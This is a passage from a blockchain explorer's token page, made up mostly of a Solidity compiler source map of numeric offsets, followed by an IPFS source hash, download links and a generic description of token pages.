104::-;3473:13;3506:7;3499:14;;;;;:::i;3897:175::-;3983:4;4000:42;197:10;4024:9;4035:6;4000:9;:42::i;5272:713::-;2133:6;;-1:-1:-1;;;;;2133:6:0;5328:10;:21;:41;;;;-1:-1:-1;5354:5:0;;;;:14;5328:41;5319:88;;;;-1:-1:-1;;;5319:88:0;;;;;;;:::i;:::-;5444:7;;5420:45;;5437:4;;-1:-1:-1;;;;;5444:7:0;-1:-1:-1;;5420:8:0;:45::i;:::-;5478:21;5517:5;5502:12;;:20;;;;:::i;:::-;:36;;5526:11;5502:36;:::i;:::-;5567:4;5549:24;;;;:9;:24;;;;;:41;;5478:60;;-1:-1:-1;5478:60:0;;5549:24;;;:41;;5478:60;;5549:41;:::i;:::-;;;;-1:-1:-1;;5611:10:0;5601:21;;;;:9;:21;;;;;:38;;5626:13;;5601:21;:38;;5626:13;;5601:38;:::i;:::-;;;;-1:-1:-1;;5655:50:0;;1439:25:1;;;5684:4:0;;5664:10;;5655:50;;1427:2:1;1412:18;5655:50:0;;;;;;;5737:6;;;;;;;;;-1:-1:-1;;;;;5737:6:0;-1:-1:-1;;;;;5737:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5766:4;;;5725:61;;-1:-1:-1;;;5725:61:0;;-1:-1:-1;;;;;5766:4:0;;;5725:61;;;5985:34:1;;;;5780:4:0;6035:18:1;;;6028:43;5725:40:0;;;;;;;5920:18:1;;5725:61:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5718:4;:68;;-1:-1:-1;;;;;5718:68:0;;;-1:-1:-1;;;;;;5718:68:0;;;;;;5797:6;;;:22;5827:9;5846:4;5853:13;;5827:9;5894:7;2133:6;;-1:-1:-1;;;;;2133:6:0;;2068:79;5894:7;5903:21;:15;5921:3;5903:21;:::i;:::-;5797:128;;;;;;-1:-1:-1;;;;;;5797:128:0;;;-1:-1:-1;;;;;6425:15:1;;;5797:128:0;;;6407:34:1;6457:18;;;6450:34;;;;6500:18;;;6493:34;;;;6543:18;;;6536:34;;;;6607:15;;;6586:19;;;6579:44;6639:19;;;6632:35;;;;6341:19;;5797:128:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;5938:5:0;:12;;-1:-1:-1;;5938:12:0;5946:4;5938:12;;;-1:-1:-1;;5965:12:0;5952:10;:25;5272:713::o;4678:346::-;-1:-1:-1;;;;;4780:19:0;;4772:68;;;;-1:-1:-1;;;4772:68:0;;7191:2:1;4772:68:0;;;7173:21:1;7230:2;7210:18;;;7203:30;7269:34;7249:18;;;7242:62;-1:-1:-1;;;7320:18:1;;;7313:34;7364:19;;4772:68:0;6989:400:1;4772:68:0;-1:-1:-1;;;;;4859:21:0;;4851:68;;;;-1:-1:-1;;;4851:68:0;;7596:2:1;4851:68:0;;;7578:21:1;7635:2;7615:18;;;7608:30;7674:34;7654:18;;;7647:62;-1:-1:-1;;;7725:18:1;;;7718:32;7767:19;;4851:68:0;7394:398:1;4851:68:0;-1:-1:-1;;;;;4932:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4984:32;;1439:25:1;;;4984:32:0;;1412:18:1;4984:32:0;;;;;;;;4678:346;;;:::o;6820:585::-;6918:7;:16;;-1:-1:-1;;;;;6918:16:0;;;-1:-1:-1;;;;;;6918:16:0;;;;;;;6936:10;:22;;;;;;;;;;;;;;;6981:5;;;;:13;;6918:16;6981:13;;6980:45;;-1:-1:-1;7000:7:0;;-1:-1:-1;;;;;7000:7:0;7019:4;7000:24;6980:45;:69;;;-1:-1:-1;2133:6:0;;7030:7;;-1:-1:-1;;;;;7030:7:0;;;2133:6;;7030:18;6980:69;6971:117;;;;-1:-1:-1;;;6971:117:0;;7999:2:1;6971:117:0;;;7981:21:1;8038:2;8018:18;;;8011:30;8077:34;8057:18;;;8050:62;-1:-1:-1;;;8128:18:1;;;8121:31;8169:19;;6971:117:0;7797:397:1;6971:117:0;7107:7;;-1:-1:-1;;;;;7107:7:0;7099:71;;;;-1:-1:-1;;;7099:71:0;;8401:2:1;7099:71:0;;;8383:21:1;8440:2;8420:18;;;8413:30;8479:34;8459:18;;;8452:62;-1:-1:-1;;;8530:18:1;;;8523:35;8575:19;;7099:71:0;8199:401:1;7099:71:0;-1:-1:-1;;;;;7189:23:0;;7181:71;;;;-1:-1:-1;;;7181:71:0;;8807:2:1;7181:71:0;;;8789:21:1;8846:2;8826:18;;;8819:30;8885:34;8865:18;;;8858:62;-1:-1:-1;;;8936:18:1;;;8929:33;8979:19;;7181:71:0;8605:399:1;7181:71:0;7265:32;7282:6;7290;7265:16;:32::i;:::-;-1:-1:-1;;;;;;7310:20:0;;;;;;:9;:20;;;;;:30;;7334:6;;7310:20;:30;;7334:6;;7310:30;:::i;:::-;;;;;;;;7377:9;-1:-1:-1;;;;;7360:35:0;7369:6;-1:-1:-1;;;;;7360:35:0;;7388:6;7360:35;;;;1439:25:1;;1427:2;1412:18;;1293:177;6252:560:0;6328:14;6405:4;6399:11;-1:-1:-1;;;6435:4:0;6428:80;6550:6;6543:4;6537;6533:15;6526:31;6598:4;6592;6588:15;6582:4;6575:29;6683:4;6677;6671;6665;6662:1;6655:4;6649:11;6642:5;6637:51;6709:7;6706:36;;;6735:4;6729:11;6719:21;;6706:36;-1:-1:-1;6789:15:0;;-1:-1:-1;6798:6:0;6789;:15;:::i;:::-;-1:-1:-1;;;;;6769:17:0;;;;;;;:9;:17;;;;;:35;;;;-1:-1:-1;6252:560:0;:::o;222:418:1:-;371:2;360:9;353:21;334:4;403:6;397:13;446:6;441:2;430:9;426:18;419:34;505:6;500:2;492:6;488:15;483:2;472:9;468:18;462:50;561:1;556:2;547:6;536:9;532:22;528:31;521:42;631:2;624;620:7;615:2;607:6;603:15;599:29;588:9;584:45;580:54;572:62;;;222:418;;;;:::o;645:131::-;-1:-1:-1;;;;;720:31:1;;710:42;;700:70;;766:1;763;756:12;700:70;645:131;:::o;781:315::-;849:6;857;910:2;898:9;889:7;885:23;881:32;878:52;;;926:1;923;916:12;878:52;965:9;952:23;984:31;1009:5;984:31;:::i;:::-;1034:5;1086:2;1071:18;;;;1058:32;;-1:-1:-1;;;781:315:1:o;1475:456::-;1552:6;1560;1568;1621:2;1609:9;1600:7;1596:23;1592:32;1589:52;;;1637:1;1634;1627:12;1589:52;1676:9;1663:23;1695:31;1720:5;1695:31;:::i;:::-;1745:5;-1:-1:-1;1802:2:1;1787:18;;1774:32;1815:33;1774:32;1815:33;:::i;:::-;1475:456;;1867:7;;-1:-1:-1;;;1921:2:1;1906:18;;;;1893:32;;1475:456::o;2125:409::-;2199:6;2207;2215;2268:2;2256:9;2247:7;2243:23;2239:32;2236:52;;;2284:1;2281;2274:12;2236:52;2320:9;2307:23;2297:33;;2380:2;2369:9;2365:18;2352:32;2427:5;2420:13;2413:21;2406:5;2403:32;2393:60;;2449:1;2446;2439:12;2539:383;2616:6;2624;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2737:9;2724:23;2714:33;;2797:2;2786:9;2782:18;2769:32;2810:31;2835:5;2810:31;:::i;2927:247::-;2986:6;3039:2;3027:9;3018:7;3014:23;3010:32;3007:52;;;3055:1;3052;3045:12;3007:52;3094:9;3081:23;3113:31;3138:5;3113:31;:::i;3179:388::-;3247:6;3255;3308:2;3296:9;3287:7;3283:23;3279:32;3276:52;;;3324:1;3321;3314:12;3276:52;3363:9;3350:23;3382:31;3407:5;3382:31;:::i;:::-;3432:5;-1:-1:-1;3489:2:1;3474:18;;3461:32;3502:33;3461:32;3502:33;:::i;:::-;3554:7;3544:17;;;3179:388;;;;;:::o;3572:380::-;3651:1;3647:12;;;;3694;;;3715:61;;3769:4;3761:6;3757:17;3747:27;;3715:61;3822:2;3814:6;3811:14;3791:18;3788:38;3785:161;;3868:10;3863:3;3859:20;3856:1;3849:31;3903:4;3900:1;3893:15;3931:4;3928:1;3921:15;3785:161;;3572:380;;;:::o;4366:127::-;4427:10;4422:3;4418:20;4415:1;4408:31;4458:4;4455:1;4448:15;4482:4;4479:1;4472:15;4498:128;4565:9;;;4586:11;;;4583:37;;;4600:18;;:::i;4631:356::-;4833:2;4815:21;;;4852:18;;;4845:30;4911:34;4906:2;4891:18;;4884:62;4978:2;4963:18;;4631:356::o;4992:217::-;5032:1;5058;5048:132;;5102:10;5097:3;5093:20;5090:1;5083:31;5137:4;5134:1;5127:15;5165:4;5162:1;5155:15;5048:132;-1:-1:-1;5194:9:1;;4992:217::o;5214:168::-;5287:9;;;5318;;5335:15;;;5329:22;;5315:37;5305:71;;5356:18;;:::i;5387:125::-;5452:9;;;5473:10;;;5470:36;;;5486:18;;:::i;5517:251::-;5587:6;5640:2;5628:9;5619:7;5615:23;5611:32;5608:52;;;5656:1;5653;5646:12;5608:52;5688:9;5682:16;5707:31;5732:5;5707:31;:::i;6678:306::-;6766:6;6774;6782;6835:2;6823:9;6814:7;6810:23;6806:32;6803:52;;;6851:1;6848;6841:12;6803:52;6880:9;6874:16;6864:26;;6930:2;6919:9;6915:18;6909:25;6899:35;;6974:2;6963:9;6959:18;6953:25;6943:35;;6678:306;;;;;:::o

Swarm Source

ipfs://748f21296bfb058ff4b418ee0bc3ea461a99889ac3ca7e8c1142a0e62b7eb37b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.